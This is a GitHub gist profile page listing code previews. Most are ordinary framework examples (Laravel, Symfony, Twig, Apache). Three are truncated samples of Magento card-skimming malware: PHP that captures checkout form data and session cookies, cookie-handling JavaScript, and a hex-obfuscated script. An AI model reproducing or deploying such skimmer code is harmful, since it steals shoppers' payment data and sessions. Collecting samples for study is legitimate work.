Skip to content

Instantly share code, notes, and snippets.

View bkozora's full-sized avatar

Bobby Kozora bkozora

  • Philly
View GitHub Profile
@bkozora
bkozora / Magento Exploit 4.php
Last active August 16, 2017 18:35
Magento Exploit - Base64 Encode of Form Data into gif File
<?php
if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
$ARINFO = $_POST;
$ARINFO['date'] = $_SERVER['REQUEST_TIME'];
$ARINFO['ip'] = $_SERVER['REMOTE_ADDR'];
$ARINFO['url'] = $_SERVER['REQUEST_URI'];
if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend'];
if((strpos($_SERVER['REQUEST_URI'], 'checkout/onepage')) or (strpos($_SERVER['REQUEST_URI'], 'firecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onestepcheckout')))
{
@bkozora
bkozora / vhosts.conf
Created October 8, 2015 21:00
Apache - Wildcard Subdomains
DocumentRoot "/var/www/vhosts"
<Directory "/var/www/vhosts">
Options Indexes FollowSymLinks ExecCGI
AllowOverride All
Order allow,deny
Allow from all
#Require all granted
</Directory>
@bkozora
bkozora / slightly-less-clever-js-ajax-exploit.js
Last active August 29, 2015 14:27
slightly less clever js ajax exploit
/**
* still rather clever, still not mine
*/
function jj(e) {
var t = "; " + document.cookie,
o = t.split("; " + e + "=");
return 2 == o.length ? o.pop().split(";").shift() : void 0
}
jj("SESSIID") || (document.cookie = "SESSIID=" + (new Date).getTime()), jQuery(function(e) {
@bkozora
bkozora / clever-js-ajax-exploit.js
Last active August 29, 2015 14:27
Clever JS AJAX Exploit
/*
* Not mine
*/
var _0x22dd = [
"\x63\x6F\x6E\x73\x6F\x6C\x65",
"\x6C\x6F\x67",
"\x66\x69\x72\x65\x62\x75\x67",
"\x63\x6C\x65\x61\x72",
"\x73\x65\x72\x69\x61\x6C\x69\x7A\x65",
Checking a directory with PHP_CodeSniffer
$ phpcs /path/to/code
FILE: /path/to/code/myfile.php
--------------------------------------------------------------------------------
FOUND 5 ERROR(S) AFFECTING 5 LINE(S)
--------------------------------------------------------------------------------
2 | ERROR | Missing file doc comment
20 | ERROR | PHP keywords must be lowercase; expected "false" but found "FALSE"
@bkozora
bkozora / laravel-controller.php
Created January 5, 2015 15:42
Laravel Basic Controller
class UserController extends BaseController {
/**
* Show the profile for the given user.
*/
public function showProfile($id)
{
$user = User::find($id);
return View::make('user.profile', array('user' => $user));
@bkozora
bkozora / zf2.router.php
Created January 5, 2015 15:37
ZF2 Router
return array(
'controllers' => array(
'invokables' => array(
'Album\Controller\Album' => 'Album\Controller\AlbumController',
),
),
// The following section is new and should be added to your file
'router' => array(
'routes' => array(
@bkozora
bkozora / symfony2-routes.yaml
Created January 5, 2015 15:36
Symfony2 Routes YAML
# app/config/routing.yml
blog_show:
path: /blog/{slug}
defaults: { _controller: AppBundle:Blog:show }
@bkozora
bkozora / symfony2-routes.php
Created January 5, 2015 15:36
Symfony2 Routes PHP
<?php
// src/AppBundle/Controller/BlogController.php
namespace AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
class BlogController extends Controller
{
/**
@bkozora
bkozora / twig.html
Created January 5, 2015 15:34
Twig Syntax Example
<!DOCTYPE html>
<html>
<head>
<title>My Webpage</title>
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}